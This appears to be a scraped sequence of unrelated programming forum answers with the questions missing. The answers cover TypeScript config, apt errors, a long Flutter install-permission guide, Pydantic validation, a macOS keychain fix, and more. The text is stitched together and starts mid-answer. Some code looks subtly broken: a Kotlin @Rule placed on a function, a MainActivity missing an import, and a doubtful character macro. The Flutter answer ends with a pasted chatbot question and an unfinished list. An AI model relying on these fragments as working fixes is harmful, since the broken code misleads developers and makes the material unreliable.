rootDir: Does not affect the selection of files for compilation.
baseUrl: Only affects non-relative imports.(not files)
Conclusion
Thus, rootDir and baseUrl serve different purposes in TypeScript configuration. rootDir helps organize the structure of source and output files, while baseUrl simplifies working with paths when importing modules. Proper use of these parameters can significantly improve the organization of your project and simplify working with code."
I've another issue:
when I try
"
sudo apt update
sudo apt install python3-can
"
or
"
pip install python-can
"
the strings/words 'apt' and 'install' are counsidered as invalid syntax, how can I deal whith that ?
One solution is to switch your runner to macos-15. For macos-14 the Xcode 16.0 is removed.
Possible solution is to use adb command :adb shell dumpsys display | grep "DisplayMode".
The response contains xDpi and yDpi. For example : xDpi=391.885, yDpi=393.29
As the solution we have overridden the playbook build (generate-site.js module). We have split the main playbook into small set of playbooks which are easy to swallow. We call them as canary playbooks.
async function buildCanaryPlaybooks(playbook, sourcesPerPb = 3) {
let canaryPlaybooks = {};
if(playbook.content.sources.length > sourcesPerPb){
let sources = playbook.content.sources;
for(let i=0,j=sources.length; i < j; i+=sourcesPerPb){
let chunk = sources.slice(i, i+ sourcesPerPb)
let canaryPlaybook = getNewPlaybook(playbook,chunk)
canaryPlaybooks[i] = canaryPlaybook
}
}
return canaryPlaybooks;
}
I update from 0.62.2 to 0.76.1 have same issue so i add includeBuild('../node_modules/react-native-gradle-plugin') in settings.gradle is worked. run yarn why react-native-gradle-plugin if have path is success.
If your organization's computer is connected to a domain, it may be assigned a Fully Qualified Domain Name (FQDN). In this case, "localhost" may not work as expected.
Check with hostname command and verify.
Unfortunately, we are facing the same problem. However, the root cause is that Marten does not support SoftDelete if you are using any kind of AggregateProjection. I found this issue - https://github.com/JasperFx/marten/issues/1992 but it seems to have been closed because it is no longer planned to be solved.
The best way to avoid repetition is to use the special variable $_ (= the last argument of the previous command):
test -f /path/to/some/file && source $_
The post How can I recall the argument of the previous bash command? has lots of interesting details on those special "recalled" variables.
Can you please report these issues using the button in this window? There will appear an id of the issue, you can click on its ID and you will see the link of the report. Can you please provide several links on these reports? Thank you!
Microsoft has the charizing operator #@ but that's compiler specific.
I found that *# works in both VS and gcc (and probably more) but I can't for the life of me remember where I got it from.
#define MAKECHAR(x) *#x
causes the statement
a = MAKECHAR(b);
to be expanded to
a = 'b';
I faced the same issue, Initially keras was a independent library, later on it was integrated with tensorflow. It is highly recommended to import the classes from tensorflow.keras not directly from keras. Since tensorflow 2.x is tightly integrated with keras but with keras alone, there is always a issue of different version , setup and all.
So import Tokenizer using this way - from tensorflow.keras.preprocessing.text import Tokenizer
If you are using windows 11, the feature is disabled by default. Simply type "optional features" in the windows search field, "add an optional feature" will be at the top, click "view features", then search for WMIC, check the box to add the feature. Then make sure that it is added to your system's "Path" as stated above.
Output from a Copy activity After the copy activity runs completely, you can see the path of log files from the output of each Copy activity run. You can find the log files from the path: https://[your-blob-account].blob.core.windows.net/[logFilePath]/copyactivity-logs/[copy-activity-name]/[copy-activity-run-id]/[auto-generated-GUID].txt. The log files generated have the .txt extension and their data is in CSV format.
See https://learn.microsoft.com/en-us/azure/data-factory/copy-activity-log?tabs=data-factory
just add position relative in the scrollable container and max height plus some higher z-index should work properly
Is there a solution yet? I'm having this problem too!
🚀 Unleashing the Power of Currying in JavaScript! 🚀
Have you ever wished for functions that could take on complex tasks, step-by-step? That’s where currying comes in! Imagine turning a function that takes multiple arguments into a series of smaller, more manageable functions—each taking just one argument at a time.
Curious to learn more? Check out my latest blog where I break down currying with real-world examples. 📚👇
Add the required permission and queries to your android/app/src/main/AndroidManifest.xml:
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="your.package.name">
<!-- Add this permission -->
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
<!-- Add queries for package installer -->
<queries>
<intent>
<action android:name="android.intent.action.VIEW" />
<data android:scheme="package" />
</intent>
</queries>
<application>
<!-- ... rest of your manifest ... -->
</application>
</manifest>
import 'package:permission_handler/permission_handler.dart';
Future<bool> requestInstallPermission() async {
try {
// Check current status
final status = await Permission.requestInstallPackages.status;
if (status.isDenied) {
// Request permission
final result = await Permission.requestInstallPackages.request();
return result.isGranted;
}
return status.isGranted;
} catch (e) {
print('Error requesting install permission: $e');
return false;
}
}
// Usage example
void installApp() async {
final hasPermission = await requestInstallPermission();
if (hasPermission) {
// Proceed with installation
// Your installation code here
} else {
// Handle permission denied
showPermissionDeniedDialog();
}
}
Update your MainActivity.kt (Kotlin) or MainActivity.java (Java):
// Kotlin
package your.package.name
import io.flutter.embedding.android.FlutterActivity
import io.flutter.embedding.engine.FlutterEngine
import io.flutter.plugin.common.MethodChannel
class MainActivity: FlutterActivity() {
override fun configureFlutterEngine(flutterEngine: FlutterEngine) {
super.configureFlutterEngine(flutterEngine)
// Add custom result handling if needed
MethodChannel(flutterEngine.dartExecutor.binaryMessenger, "install_channel")
.setMethodCallHandler { call, result ->
when (call.method) {
"checkInstallPermission" -> {
// Your custom permission check logic
result.success(true)
}
else -> result.notImplemented()
}
}
}
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
super.onActivityResult(requestCode, resultCode, data)
// Add custom result handling if needed
}
}
import 'package:flutter/material.dart';
import 'package:permission_handler/permission_handler.dart';
class InstallPermissionHandler extends StatefulWidget {
const InstallPermissionHandler({Key? key}) : super(key: key);
@override
State<InstallPermissionHandler> createState() => _InstallPermissionHandlerState();
}
class _InstallPermissionHandlerState extends State<InstallPermissionHandler> {
PermissionStatus _permissionStatus = PermissionStatus.denied;
@override
void initState() {
super.initState();
_checkPermission();
}
Future<void> _checkPermission() async {
try {
final status = await Permission.requestInstallPackages.status;
setState(() {
_permissionStatus = status;
});
} catch (e) {
print('Error checking permission: $e');
}
}
Future<void> _requestPermission() async {
try {
final status = await Permission.requestInstallPackages.request();
setState(() {
_permissionStatus = status;
});
} catch (e) {
print('Error requesting permission: $e');
// Show error dialog
showDialog(
context: context,
builder: (context) => AlertDialog(
title: const Text('Error'),
content: Text('Failed to request permission: $e'),
actions: [
TextButton(
onPressed: () => Navigator.pop(context),
child: const Text('OK'),
),
],
),
);
}
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(title: const Text('Install Permission')),
body: Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text('Permission status: $_permissionStatus'),
const SizedBox(height: 16),
ElevatedButton(
onPressed: _requestPermission,
child: const Text('Request Permission'),
),
],
),
),
);
}
}
Update your android/app/build.gradle:
android {
defaultConfig {
// Minimum SDK version should be 23 or higher
minSdkVersion 23
// Other config...
}
}
Add to android/app/proguard-rules.pro:
-keep class com.baseflow.permissionhandler.** { *; }
If the app still crashes when returning from the permission dialog:
// Wrap permission request in try-catch
Future<void> safeRequestPermission() async {
try {
await Permission.requestInstallPackages.request();
} catch (e) {
// Handle error gracefully
print('Permission request failed: $e');
// Optionally restart app or show error
}
}
Ensure your manifest has the correct permission:
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
For Android 13 (API 33) and above, add:
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
if (await Permission.requestInstallPackages.isDenied) {
// Request permission
}
if (await Permission.requestInstallPackages.isPermanentlyDenied) {
// Open app settings
openAppSettings();
}
void handleInstallation() async {
if (!await requestInstallPermission()) {
// Provide alternative solution
showAlternativeDialog();
}
}
Remember to:
Would you like me to explain any part in more detail?
check this link of a tutorial it might be helpful https://youtu.be/i8Xsb3Es04Y
You can try out this code.
from pydantic import ValidationError
def validate_user_data(user_data: dict):
try:
# Create an instance of the Pydantic model
user = UserModel(**user_data)
# Convert the model to a dictionary, excluding unset (optional) fields
validated_data = user.dict(exclude_unset=True)
return validated_data
except ValidationError as e:
# Handle validation errors
print("Validation error:", e.errors())
# Extract and print missing or invalid fields
missing_or_invalid_fields = [error['loc'][0] for error in e.errors()]
if missing_or_invalid_fields:
print("Missing or invalid fields:", missing_or_invalid_fields)
return None
user_data = {
"name":"",
"age": 30,
"email": "[email protected]",
"address": None # Optional field, can be None
}
validated_data = validate_user_data(user_data)
if validated_data:
print("Validated data:", validated_data)
else:
print("Invalid data provided.")
Feel free to comment your thoughts. Thank you!
i encountered the same issue, and Google brought me here. after a few attempts, i discovered this works.
Use format = '0.'
To everyone having this problem with the SSRS-Plugin within Visual Studio: Authentication Settings are on a different page! Do not define them within the Connection-String!
Here is a example in kotlin:
@RunWith(AndroidJUnit4::class)
class CameraTest {
@Rule
fun runtimePermissionRule() = GrantPermissionRule.grant(Manifest.permission.CAMERA)
}
The reason I was getting this error was because Mac had stored an old keychain password and with my new login cridentials git was using the details of the keychain. So there was a clash
solution use terminal to delete keychain:
security delete-internet-password -s github.com
Restart mac then try to push from terminal
git push -u origin main
login with required cridentials
Maybe using Page Properties and the Page Properties Report macro might be a proper way for your use case. Have a look at the documentation e.g. https://confluence.atlassian.com/doc/page-properties-macro-184550024.html